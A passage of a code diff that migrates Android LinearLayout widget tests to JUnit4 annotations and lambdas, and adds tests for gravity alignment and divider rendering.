-        layout.layout(0, 0, size, size);
-        assertEquals(100, layout.getWidth());
-        assertEquals(33, layout.getChildAt(0).getWidth());
-        assertEquals(33, layout.getChildAt(1).getWidth());
-        assertEquals(34, layout.getChildAt(2).getWidth());
-        assertEquals(100, layout.getHeight());
-        assertEquals(100, layout.getChildAt(0).getHeight());
-        assertEquals(100, layout.getChildAt(1).getHeight());
-        assertEquals(100, layout.getChildAt(2).getHeight());
+        parent.setOrientation(LinearLayout.HORIZONTAL);
+        parent.measure(spec, spec);
+        parent.layout(0, 0, size, size);
+        assertEquals(100, parent.getWidth());
+        assertEquals(33, parent.getChildAt(0).getWidth());
+        assertEquals(33, parent.getChildAt(1).getWidth());
+        assertEquals(34, parent.getChildAt(2).getWidth());
+        assertEquals(100, parent.getHeight());
+        assertEquals(100, parent.getChildAt(0).getHeight());
+        assertEquals(100, parent.getChildAt(1).getHeight());
+        assertEquals(100, parent.getChildAt(2).getHeight());
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateLayoutParams() {
         ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(320, 240);
-        MockLinearLayout mockLinearLayout = new MockLinearLayout(mContext);
-        LayoutParams layoutParams1 = mockLinearLayout.generateLayoutParams(lp);
+        MockLinearLayout parent = (MockLinearLayout) mActivity.findViewById(R.id.linear_custom);
+        LayoutParams layoutParams1 = parent.generateLayoutParams(lp);
         assertEquals(320, layoutParams1.width);
         assertEquals(240, layoutParams1.height);
-
-        // generateLayoutParams() always throw  a RuntimeException.
-//        XmlPullParser parser = mContext.getResources().getXml(R.layout.linearlayout_layout);
-//        AttributeSet attrs = Xml.asAttributeSet(parser);
-//        LinearLayout linearLayout = new LinearLayout(mContext, attrs);
-//        LayoutParams layoutParams2 = linearLayout.generateLayoutParams(attrs);
-//        assertEquals(LayoutParams.MATCH_PARENT, layoutParams2.width);
-//        assertEquals(LayoutParams.WRAP_CONTENT, layoutParams2.height);
     }
 
+    @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
-        MockLinearLayout mockLinearLayout = new MockLinearLayout(mContext);
+        MockLinearLayout parent = (MockLinearLayout) mActivity.findViewById(R.id.linear_custom);
 
         ViewGroup.LayoutParams params = new AbsoluteLayout.LayoutParams(240, 320, 0, 0);
-        assertFalse(mockLinearLayout.checkLayoutParams(params));
+        assertFalse(parent.checkLayoutParams(params));
 
         params = new LinearLayout.LayoutParams(240, 320);
-        assertTrue(mockLinearLayout.checkLayoutParams(params));
+        assertTrue(parent.checkLayoutParams(params));
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        MockLinearLayout mockLinearLayout = new MockLinearLayout(mContext);
+        MockLinearLayout parent = (MockLinearLayout) mActivity.findViewById(R.id.linear_custom);
 
-        mockLinearLayout.setOrientation(LinearLayout.HORIZONTAL);
-        ViewGroup.LayoutParams param = mockLinearLayout.generateDefaultLayoutParams();
+        parent.setOrientation(LinearLayout.HORIZONTAL);
+        ViewGroup.LayoutParams param = parent.generateDefaultLayoutParams();
         assertNotNull(param);
         assertTrue(param instanceof LinearLayout.LayoutParams);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, param.width);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, param.height);
 
-        mockLinearLayout.setOrientation(LinearLayout.VERTICAL);
-        param = mockLinearLayout.generateDefaultLayoutParams();
+        parent.setOrientation(LinearLayout.VERTICAL);
+        param = parent.generateDefaultLayoutParams();
         assertNotNull(param);
         assertTrue(param instanceof LinearLayout.LayoutParams);
         assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, param.width);
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, param.height);
 
-        mockLinearLayout.setOrientation(-1);
-        assertNull(mockLinearLayout.generateDefaultLayoutParams());
+        parent.setOrientation(-1);
+        assertNull(parent.generateDefaultLayoutParams());
     }
 
+    @UiThreadTest
+    @Test
     public void testGenerateLayoutParamsFromMarginParams() {
-        MockLinearLayout layout = new MockLinearLayout(mContext);
+        MockLinearLayout parent = (MockLinearLayout) mActivity.findViewById(R.id.linear_custom);
+
         ViewGroup.MarginLayoutParams lp = new ViewGroup.MarginLayoutParams(3, 5);
         lp.leftMargin = 1;
         lp.topMargin = 2;
         lp.rightMargin = 3;
         lp.bottomMargin = 4;
-        LinearLayout.LayoutParams generated = layout.generateLayoutParams(lp);
+        LinearLayout.LayoutParams generated = parent.generateLayoutParams(lp);
         assertNotNull(generated);
         assertEquals(3, generated.width);
         assertEquals(5, generated.height);
@@ -301,8 +338,9 @@
      * |     parent   |                 | --------------- |
      * ----------------------------------------------------
      */
+    @Test
     public void testLayoutHorizontal() {
-        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.horizontal);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_horizontal);
         TextView topView = (TextView) mActivity.findViewById(R.id.gravity_top);
         TextView centerView = (TextView) mActivity.findViewById(R.id.gravity_center_vertical);
         TextView bottomView = (TextView) mActivity.findViewById(R.id.gravity_bottom);
@@ -312,11 +350,11 @@
         assertNotNull(centerView);
         assertNotNull(bottomView);
 
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_1),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_1),
                 topView.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_2),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_2),
                 centerView.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_3),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_3),
                 bottomView.getText().toString());
 
         assertEquals(LinearLayout.HORIZONTAL, parent.getOrientation());
@@ -358,8 +396,9 @@
      * |                  -------------- |
      * -----------------------------------
      */
+    @Test
     public void testLayoutVertical() {
-        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.vertical);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_vertical);
         TextView leftView = (TextView) mActivity.findViewById(R.id.gravity_left);
         TextView centerView = (TextView) mActivity.findViewById(R.id.gravity_center_horizontal);
         TextView rightView = (TextView) mActivity.findViewById(R.id.gravity_right);
@@ -369,11 +408,11 @@
         assertNotNull(centerView);
         assertNotNull(rightView);
 
-        assertEquals(mContext.getResources().getString(R.string.vertical_text_1),
+        assertEquals(mActivity.getResources().getString(R.string.vertical_text_1),
                 leftView.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.vertical_text_2),
+        assertEquals(mActivity.getResources().getString(R.string.vertical_text_2),
                 centerView.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.vertical_text_3),
+        assertEquals(mActivity.getResources().getString(R.string.vertical_text_3),
                 rightView.getText().toString());
 
         assertEquals(LinearLayout.VERTICAL, parent.getOrientation());
@@ -399,23 +438,209 @@
         assertEquals(parent.getWidth(), rightView.getRight());
     }
 
-    private void checkBounds(final ViewGroup viewGroup, final View view,
-            final CountDownLatch countDownLatch, final int left, final int top,
-            final int width, final int height) {
-        viewGroup.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
-            @Override
-            public boolean onPreDraw() {
-                assertEquals(left, view.getLeft());
-                assertEquals(top, view.getTop());
-                assertEquals(width, view.getWidth());
-                assertEquals(height, view.getHeight());
-                countDownLatch.countDown();
-                viewGroup.getViewTreeObserver().removeOnPreDrawListener(this);
-                return true;
-            }
-        });
+    @Test
+    public void testVerticalCenterGravityOnHorizontalLayout() throws Throwable {
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum);
+        TextView leftView = (TextView) parent.findViewById(R.id.weight_0_2);
+        TextView centerView = (TextView) parent.findViewById(R.id.weight_0_5);
+        TextView rightView = (TextView) parent.findViewById(R.id.weight_0_3);
+
+        mActivityRule.runOnUiThread(() -> parent.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+        mInstrumentation.waitForIdleSync();
+
+        int originalLeftViewLeft = leftView.getLeft();
+        int originalLeftViewRight = leftView.getRight();
+        int originalCenterViewLeft = centerView.getLeft();
+        int originalCenterViewRight = centerView.getRight();
+        int originalRightViewLeft = rightView.getLeft();
+        int originalRightViewRight = rightView.getRight();
+
+        mActivityRule.runOnUiThread(() -> parent.setVerticalGravity(Gravity.CENTER_VERTICAL));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Gravity.CENTER_VERTICAL, parent.getGravity() & Gravity.VERTICAL_GRAVITY_MASK);
+
+        ViewAsserts.assertVerticalCenterAligned(parent, leftView);
+        ViewAsserts.assertVerticalCenterAligned(parent, centerView);
+        ViewAsserts.assertVerticalCenterAligned(parent, rightView);
+
+        final int parentHeight = parent.getHeight();
+
+        int verticalOffset = (parentHeight - leftView.getHeight()) / 2;
+        assertEquals(verticalOffset, leftView.getTop());
+        assertEquals(verticalOffset + leftView.getHeight(), leftView.getBottom());
+        assertEquals(originalLeftViewLeft, leftView.getLeft());
+        assertEquals(originalLeftViewRight, leftView.getRight());
+
+        verticalOffset = (parentHeight - centerView.getHeight()) / 2;
+        assertEquals(verticalOffset, centerView.getTop());
+        assertEquals(verticalOffset + centerView.getHeight(), centerView.getBottom());
+        assertEquals(originalCenterViewLeft, centerView.getLeft());
+        assertEquals(originalCenterViewRight, centerView.getRight());
+
+        verticalOffset = (parentHeight - rightView.getHeight()) / 2;
+        assertEquals(verticalOffset, rightView.getTop());
+        assertEquals(verticalOffset + rightView.getHeight(), rightView.getBottom());
+        assertEquals(originalRightViewLeft, rightView.getLeft());
+        assertEquals(originalRightViewRight, rightView.getRight());
     }
 
+    @Test
+    public void testBottomGravityOnHorizontalLayout() throws Throwable {
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum);
+        TextView leftView = (TextView) parent.findViewById(R.id.weight_0_2);
+        TextView centerView = (TextView) parent.findViewById(R.id.weight_0_5);
+        TextView rightView = (TextView) parent.findViewById(R.id.weight_0_3);
+
+        mActivityRule.runOnUiThread(() -> parent.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+        mInstrumentation.waitForIdleSync();
+
+        int originalLeftViewLeft = leftView.getLeft();
+        int originalLeftViewRight = leftView.getRight();
+        int originalCenterViewLeft = centerView.getLeft();
+        int originalCenterViewRight = centerView.getRight();
+        int originalRightViewLeft = rightView.getLeft();
+        int originalRightViewRight = rightView.getRight();
+
+        mActivityRule.runOnUiThread(() -> parent.setVerticalGravity(Gravity.BOTTOM));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Gravity.BOTTOM, parent.getGravity() & Gravity.VERTICAL_GRAVITY_MASK);
+
+        ViewAsserts.assertBottomAligned(parent, leftView);
+        ViewAsserts.assertBottomAligned(parent, centerView);
+        ViewAsserts.assertBottomAligned(parent, rightView);
+
+        final int parentHeight = parent.getHeight();
+
+        assertEquals(parentHeight - leftView.getHeight(), leftView.getTop());
+        assertEquals(parentHeight, leftView.getBottom());
+        assertEquals(originalLeftViewLeft, leftView.getLeft());
+        assertEquals(originalLeftViewRight, leftView.getRight());
+
+        assertEquals(parentHeight - centerView.getHeight(), centerView.getTop());
+        assertEquals(parentHeight, centerView.getBottom());
+        assertEquals(originalCenterViewLeft, centerView.getLeft());
+        assertEquals(originalCenterViewRight, centerView.getRight());
+
+        assertEquals(parentHeight - rightView.getHeight(), rightView.getTop());
+        assertEquals(parentHeight, rightView.getBottom());
+        assertEquals(originalRightViewLeft, rightView.getLeft());
+        assertEquals(originalRightViewRight, rightView.getRight());
+    }
+
+    @Test
+    public void testHorizontalCenterGravityOnVerticalLayout() throws Throwable {
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum_vertical);
+        TextView topView = (TextView) parent.findViewById(R.id.weight_0_1);
+        TextView centerView = (TextView) parent.findViewById(R.id.weight_0_4);
+        TextView bottomView = (TextView) parent.findViewById(R.id.weight_0_5);
+
+        mActivityRule.runOnUiThread(() -> parent.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+        mInstrumentation.waitForIdleSync();
+
+        final int parentWidth = parent.getHeight();
+
+        int originalTopViewTop = topView.getTop();
+        int originalTopViewBottom = topView.getBottom();
+        int originalCenterViewTop = centerView.getTop();
+        int originalCenterViewBottom = centerView.getBottom();
+        int originalBottomViewTop = bottomView.getTop();
+        int originalBottomViewBottom = bottomView.getBottom();
+
+        mActivityRule.runOnUiThread(
+                () -> parent.setHorizontalGravity(Gravity.CENTER_HORIZONTAL));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Gravity.CENTER_HORIZONTAL,
+                parent.getGravity() & Gravity.HORIZONTAL_GRAVITY_MASK);
+
+        ViewAsserts.assertHorizontalCenterAligned(parent, topView);
+        ViewAsserts.assertHorizontalCenterAligned(parent, centerView);
+        ViewAsserts.assertHorizontalCenterAligned(parent, bottomView);
+
+        int horizontalOffset = (parentWidth - topView.getWidth()) / 2;
+        assertEquals(originalTopViewTop, topView.getTop());
+        assertEquals(originalTopViewBottom, topView.getBottom());
+        assertEquals(horizontalOffset, topView.getLeft());
+        assertEquals(horizontalOffset + topView.getWidth(), topView.getRight());
+
+        horizontalOffset = (parentWidth - centerView.getWidth()) / 2;
+        assertEquals(originalCenterViewTop, centerView.getTop());
+        assertEquals(originalCenterViewBottom, centerView.getBottom());
+        assertEquals(horizontalOffset, centerView.getLeft());
+        assertEquals(horizontalOffset + centerView.getWidth(), centerView.getRight());
+
+        horizontalOffset = (parentWidth - bottomView.getWidth()) / 2;
+        assertEquals(originalBottomViewTop, bottomView.getTop());
+        assertEquals(originalBottomViewBottom, bottomView.getBottom());
+        assertEquals(horizontalOffset, bottomView.getLeft());
+        assertEquals(horizontalOffset + bottomView.getWidth(), bottomView.getRight());
+    }
+
+    @Test
+    public void testRightGravityOnVerticalLayout() throws Throwable {
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum_vertical);
+        TextView topView = (TextView) parent.findViewById(R.id.weight_0_1);
+        TextView centerView = (TextView) parent.findViewById(R.id.weight_0_4);
+        TextView bottomView = (TextView) parent.findViewById(R.id.weight_0_5);
+
+        mActivityRule.runOnUiThread(() -> parent.setLayoutDirection(View.LAYOUT_DIRECTION_LTR));
+        mInstrumentation.waitForIdleSync();
+
+        final int parentWidth = parent.getHeight();
+
+        int originalTopViewTop = topView.getTop();
+        int originalTopViewBottom = topView.getBottom();
+        int originalCenterViewTop = centerView.getTop();
+        int originalCenterViewBottom = centerView.getBottom();
+        int originalBottomViewTop = bottomView.getTop();
+        int originalBottomViewBottom = bottomView.getBottom();
+
+        mActivityRule.runOnUiThread(() -> parent.setHorizontalGravity(Gravity.RIGHT));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Gravity.RIGHT, parent.getGravity() & Gravity.HORIZONTAL_GRAVITY_MASK);
+
+        ViewAsserts.assertRightAligned(parent, topView);
+        ViewAsserts.assertRightAligned(parent, centerView);
+        ViewAsserts.assertRightAligned(parent, bottomView);
+
+        assertEquals(originalTopViewTop, topView.getTop());
+        assertEquals(originalTopViewBottom, topView.getBottom());
+        assertEquals(parentWidth - topView.getWidth(), topView.getLeft());
+        assertEquals(parentWidth, topView.getRight());
+
+        assertEquals(originalCenterViewTop, centerView.getTop());
+        assertEquals(originalCenterViewBottom, centerView.getBottom());
+        assertEquals(parentWidth - centerView.getWidth(), centerView.getLeft());
+        assertEquals(parentWidth, centerView.getRight());
+
+        assertEquals(originalBottomViewTop, bottomView.getTop());
+        assertEquals(originalBottomViewBottom, bottomView.getBottom());
+        assertEquals(parentWidth - bottomView.getWidth(), bottomView.getLeft());
+        assertEquals(parentWidth, bottomView.getRight());
+    }
+
+    private void verifyBounds(final ViewGroup viewGroup, final View view,
+            final CountDownLatch countDownLatch, final int left, final int top,
+            final int width, final int height) {
+        viewGroup.getViewTreeObserver().addOnPreDrawListener(
+                new ViewTreeObserver.OnPreDrawListener() {
+                    @Override
+                    public boolean onPreDraw() {
+                        assertEquals(left, view.getLeft());
+                        assertEquals(top, view.getTop());
+                        assertEquals(width, view.getWidth());
+                        assertEquals(height, view.getHeight());
+                        countDownLatch.countDown();
+                        viewGroup.getViewTreeObserver().removeOnPreDrawListener(this);
+                        return true;
+                    }
+                });
+    }
+
+    @Test
     public void testVisibilityAffectsLayout() throws Throwable {
         // Toggling view visibility between GONE/VISIBLE can affect the position of
         // other children in that container. This test verifies that these changes
@@ -437,38 +662,559 @@
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.linearlayout_root);
 
         final CountDownLatch countDownLatch1 = new CountDownLatch(1);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                viewGroup.removeAllViews();
-                viewGroup.addView(parent);
-                parent.addView(child1);
-                parent.addView(child2);
-                checkBounds(viewGroup, child1, countDownLatch1, 0, 0, childWidth, childHeight);
-                checkBounds(viewGroup, child2, countDownLatch1,
-                        childWidth, 0, childWidth, childHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            viewGroup.removeAllViews();
+            viewGroup.addView(parent);
+            parent.addView(child1);
+            parent.addView(child2);
+            verifyBounds(viewGroup, child1, countDownLatch1, 0, 0, childWidth, childHeight);
+            verifyBounds(viewGroup, child2, countDownLatch1,
+                    childWidth, 0, childWidth, childHeight);
         });
-        countDownLatch1.await(500, TimeUnit.MILLISECONDS);
+        try {
+            assertTrue(countDownLatch1.await(500, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
 
         final CountDownLatch countDownLatch2 = new CountDownLatch(1);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                child1.setVisibility(View.GONE);
-                checkBounds(viewGroup, child2, countDownLatch2, 0, 0, childWidth, childHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            child1.setVisibility(View.GONE);
+            verifyBounds(viewGroup, child2, countDownLatch2, 0, 0, childWidth, childHeight);
         });
-        countDownLatch2.await(500, TimeUnit.MILLISECONDS);
+        try {
+            assertTrue(countDownLatch2.await(500, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
 
         final CountDownLatch countDownLatch3 = new CountDownLatch(2);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                child1.setVisibility(View.VISIBLE);
-                checkBounds(viewGroup, child1, countDownLatch3, 0, 0, childWidth, childHeight);
-                checkBounds(viewGroup, child2, countDownLatch3,
-                        childWidth, 0, childWidth, childHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            child1.setVisibility(View.VISIBLE);
+            verifyBounds(viewGroup, child1, countDownLatch3, 0, 0, childWidth, childHeight);
+            verifyBounds(viewGroup, child2, countDownLatch3,
+                    childWidth, 0, childWidth, childHeight);
         });
-        countDownLatch3.await(500, TimeUnit.MILLISECONDS);
+        try {
+            assertTrue(countDownLatch3.await(500, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+    }
+
+    private void verifyVisualsOfVerticalLayoutWithDivider(LinearLayout parent,
+            int expectedDividerPositionMask,
+            int expectedDividerSize, @ColorInt int expectedDividerColor,
+            int expectedDividerPadding) {
+        final int parentWidth = parent.getWidth();
+        final int parentHeight = parent.getHeight();
+
+        final boolean expectingTopDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_BEGINNING) != 0;
+        final boolean expectingMiddleDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_MIDDLE) != 0;
+        final boolean expectingBottomDivider =
+                (expectedDividerPositionMask & LinearLayout.SHOW_DIVIDER_END) != 0;
+        final int expectedDividerCount = (expectingTopDivider ? 1 : 0)
+                + (expectingMiddleDivider ? 1 : 0) + (expectingBottomDivider ? 1 : 0);
+
+        final int expectedChildHeight =
+                (parentHeight - expectedDividerCount * expectedDividerSize) / 2;
+
+        final int expectedTopChildTop = expectingTopDivider ? expectedDividerSize : 0;
+        TestUtils.assertRegionPixelsOfColor("Region of first child is blue", parent,
+                new Rect(0, expectedTopChildTop, parentWidth,
+                        expectedTopChildTop + expectedChildHeight),
+                Color.BLUE, 1, true);
+
+        final int expectedBottomChildBottom =
+                expectingBottomDivider ? parentHeight - expectedDividerSize : parentHeight;
+        TestUtils.assertRegionPixelsOfColor("Region of second child is green", parent,
+                new Rect(0, expectedBottomChildBottom - expectedChildHeight, parentWidth,
+                        expectedBottomChildBottom),
+                Color.GREEN, 1, true);
+
+        if (expectedDividerSize == 0) {
+            return;
+        }
+
+        // Do we expect top divider?
+        if (expectingTopDivider) {
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of top divider is " + TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(expectedDividerPadding, 0, parentWidth - expectedDividerPadding,
+                            expectedDividerSize),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor("Region of left padding of top divider is yellow",
+                    parent,
+                    new Rect(0, 0, expectedDividerPadding, expectedDividerSize),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor("Region of right padding of top divider is yellow",
+                    parent,
+                    new Rect(parentWidth - expectedDividerPadding, 0, parentWidth,
+                            expectedDividerSize),
+                    Color.YELLOW, 1, true);
+        }
+
+        // Do we expect middle divider?
+        if (expectingMiddleDivider) {
+            final int expectedMiddleDividerTop = expectedTopChildTop + expectedChildHeight;
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of middle divider is " +
+                            TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(expectedDividerPadding, expectedMiddleDividerTop,
+                            parentWidth - expectedDividerPadding,
+                            expectedMiddleDividerTop + expectedDividerSize),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of left padding of middle divider is yellow",
+                    parent,
+                    new Rect(0, expectedMiddleDividerTop, expectedDividerPadding,
+                            expectedMiddleDividerTop + expectedDividerSize),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of right padding of middle divider is yellow",
+                    parent,
+                    new Rect(parentWidth - expectedDividerPadding, expectedMiddleDividerTop,
+                            parentWidth, expectedMiddleDividerTop + expectedDividerSize),
+                    Color.YELLOW, 1, true);
+        }
+
+        // Do we expect bottom divider?
+        if (expectingBottomDivider) {
+            final int expectedBottomDividerTop = expectedBottomChildBottom;
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of bottom divider is " +
+                            TestUtils.formatColorToHex(expectedDividerColor),
+                    parent,
+                    new Rect(expectedDividerPadding, expectedBottomDividerTop,
+                            parentWidth - expectedDividerPadding,
+                            expectedBottomDividerTop + expectedDividerSize),
+                    expectedDividerColor, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of left padding of bottom divider is yellow",
+                    parent,
+                    new Rect(0, expectedBottomDividerTop, expectedDividerPadding,
+                            expectedBottomDividerTop + expectedDividerSize),
+                    Color.YELLOW, 1, true);
+            TestUtils.assertRegionPixelsOfColor(
+                    "Region of right padding of bottom divider is yellow",
+                    parent,
+                    new Rect(parentWidth - expectedDividerPadding, expectedBottomDividerTop,
+                            parentWidth, expectedBottomDividerTop + expectedDividerSize),
+                    Color.YELLOW, 1, true);
+        }
+    }
+
+    /**
+     * layout of vertical LinearLayout.
+     * -----------------------------------
+     * | ------------------------------- |
+     * | |            child1           | |
+     * | ------------------------------- |
+     * | - - - - - - divider - - - - - - |
+     * | ------------------------------- |
+     * | |            child2           | |
+     * | ------------------------------- |
+     * -----------------------------------
+     *
+     * Parent is filled with yellow color. Child 1 is filled with green and child 2 is filled
+     * with blue. Divider is red at the beginning. Throughout this method we reconfigure the
+     * visibility, drawable and paddings of the divider and verify the overall visuals of the
+     * container.
+     */
+    @Test
+    public void testDividersInVerticalLayout() throws Throwable {
+        final LinearLayout parent =
+                (LinearLayout) mActivity.findViewById(R.id.linear_vertical_with_divider);
+
+        final Resources res = mActivity.getResources();
+        final int dividerSize = res.getDimensionPixelSize(R.dimen.linear_layout_divider_size);
+        final int dividerPadding = res.getDimensionPixelSize(R.dimen.linear_layout_divider_padding);
+
+        assertEquals(LinearLayout.SHOW_DIVIDER_MIDDLE, parent.getShowDividers());
+        assertEquals(dividerPadding, parent.getDividerPadding());
+        final Drawable dividerDrawable = parent.getDividerDrawable();
+        TestUtils.assertAllPixelsOfColor("Divider is red", dividerDrawable,
+                dividerDrawable.getIntrinsicWidth(), dividerDrawable.getIntrinsicHeight(),
+                false, Color.RED, 1, true);
+
+        // Test the initial visuals of the entire parent
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Change the divider to magenta
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(
+                        mActivity.getDrawable(R.drawable.linear_layout_divider_magenta)));
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.MAGENTA, dividerPadding);
+
+        // Change the divider to null (no divider effectively)
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(null));
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                0, Color.TRANSPARENT, 0);
+
+        // Change the divider back to red
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerDrawable(
+                        mActivity.getDrawable(R.drawable.linear_layout_divider_red)));
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Change the padding to half the original size
+        final int halfPadding = dividerPadding / 2;
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(halfPadding));
+        assertEquals(halfPadding, parent.getDividerPadding());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, halfPadding);
+
+        // Change the padding to twice the original size
+        final int doublePadding = dividerPadding * 2;
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(doublePadding));
+        assertEquals(doublePadding, parent.getDividerPadding());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, doublePadding);
+
+        // And back to the original padding
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setDividerPadding(dividerPadding));
+        assertEquals(dividerPadding, parent.getDividerPadding());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Set show dividers to NONE (no divider effectively)
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_NONE));
+        assertEquals(LinearLayout.SHOW_DIVIDER_NONE, parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_NONE,
+                0, Color.TRANSPARENT, 0);
+
+        // Show only top divider
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_BEGINNING));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING, parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_BEGINNING,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show only bottom divider
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_END, parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent, LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show top and bottom dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_END,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show top and middle dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE));
+        assertEquals(LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE,
+                parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent,
+                LinearLayout.SHOW_DIVIDER_BEGINNING | LinearLayout.SHOW_DIVIDER_MIDDLE,
+                dividerSize, Color.RED, dividerPadding);
+
+        // Show middle and bottom dividers
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, parent,
+                () -> parent.setShowDividers(
+                        LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END));
+        assertEquals(LinearLayout.SHOW_DIVIDER_MIDDLE | LinearLayout.SHOW_DIVIDER_END,
+                parent.getShowDividers());
+        verifyVisualsOfVerticalLayoutWithDivider(parent,
